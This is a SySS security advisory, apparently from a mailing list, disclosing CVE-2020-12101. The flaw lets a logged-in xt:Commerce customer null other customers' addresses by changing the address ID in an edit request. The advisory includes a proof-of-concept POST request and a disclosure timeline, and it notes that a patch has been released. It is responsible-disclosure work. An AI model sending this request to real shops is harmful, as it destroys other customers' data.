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## [SYSS-2020-012] Improper Access Control (CWE-284) in xt:Commerce (CVE-2020-12101)

From: Fabian Krone <fabian.krone () syss de>

Date: Thu, 30 Apr 2020 13:42:46 +0200

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

Advisory ID: SYSS-2020-012  
Product: xt:Commerce  
Manufacturer: xt:Commerce GmbH  
Affected Version(s): 5.4.1, 6.2.1, 6.2.2  
Tested Version(s): 5.4.1, 6.2.1  
Vulnerability Type: Improper Access Control (CWE-284)  
Risk Level: Medium  
Solution Status: Fixed  
Manufacturer Notification: 2020-02-03  
Solution Date: 2020-04-17  
Public Disclosure: 2020-04-30  
CVE Reference: CVE-2020-12101  
Author of Advisory:  
Markus Weiler, SySS GmbH  
Fabian Krone, SySS GmbH

### Overview:

xt:Commerce is an online shop software.

The product can be described as an online shop software which is mostly used in German speaking regions. It is written in PHP and is available as both a free and paid version. xt:Commerce can also be extended via plug-ins.

Due to improper access control, a logged-in user can clear other user addresses.

### Vulnerability Details:

A logged-in customer can create and alter addresses. These addresses are referenced by incrementing IDs. On saving an address, an attacker could change the ID of the address to write the data to. If the ID belongs to an address which does not belong to the current logged-in user, every field in the address is set to null. An attacker could use this to null all addresses in a shop.

### Proof of Concept (PoC):

Sending the following request with an existing address ID belonging to another customer nulls the fields for the inserted address ID:

```
POST /de/customer?page_action=edit_address HTTP/1.1
[...]

action=edit_address&address_book_id=[addressId]&old_address_class=
default&address_class=default&customers_company=&customers_gender=mt
customers_firstname=Penic&customers_lastname=Test&customers_street_address=
Test&customers_postcode=12345&customers_city=Test&customers_country_code=DE&
customers_phone=123456789&customers_fax=&customers_mobile_phone=
```

### Solution:

Apply patch provided by the manufacturer.

### More information:

<https://helpdesk.xt-commerce.com/index.php?Knowledgebase/Article/View/1784/294/adressbuch-sicherheitspatch-17042020-#xtcommerce-51-bis-622>

### Disclosure Timeline:

2020-01-23: Found security vulnerability during security assessment  
2020-02-03: Customer reported found security vulnerability to manufacturer  
2020-03-31: Security advisory with further details sent to manufacturer  
2020-03-31: Acknowledgement of security advisory by manufacturer  
2020-04-17: Patch released by manufacturer  
2020-04-30: Public disclosure of vulnerability

### References:

- [1] Product website for xt:Commerce  
<https://www.xt-commerce.com/>
- [2] SySS Security Advisory SYSS-2020-012  
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-012.txt>
- [3] SySS Responsible Disclosure Policy  
<https://www.syss.de/en/news/responsible-disclosure-policy/>

### Credits:

This security vulnerability was found by Markus Weiler and Fabian Krone of SySS GmbH.

E-Mail: markus.weiler () syss de

Public Key:

<https://www.syss.de/fileadmin/dokumente/PGPKeys/Markus.Weiler.asc>

Key ID: 0xCCE94A2D05102DB9

Key Fingerprint: B95E 4C48 50F0 389C F24B 8B7A CEE9 4A2D 0510 2DB9

E-Mail: fabian.krone () syss de

Public Key: <https://www.syss.de/fileadmin/dokumente/PGPKeys/Fabian.Krone.asc>

Key ID: 0xBDFD30ABD10EA0F4

Key Fingerprint: 0ADE D2AA AE27 7DDA A8F0 C051 BDFD 30AB D10E A0F4

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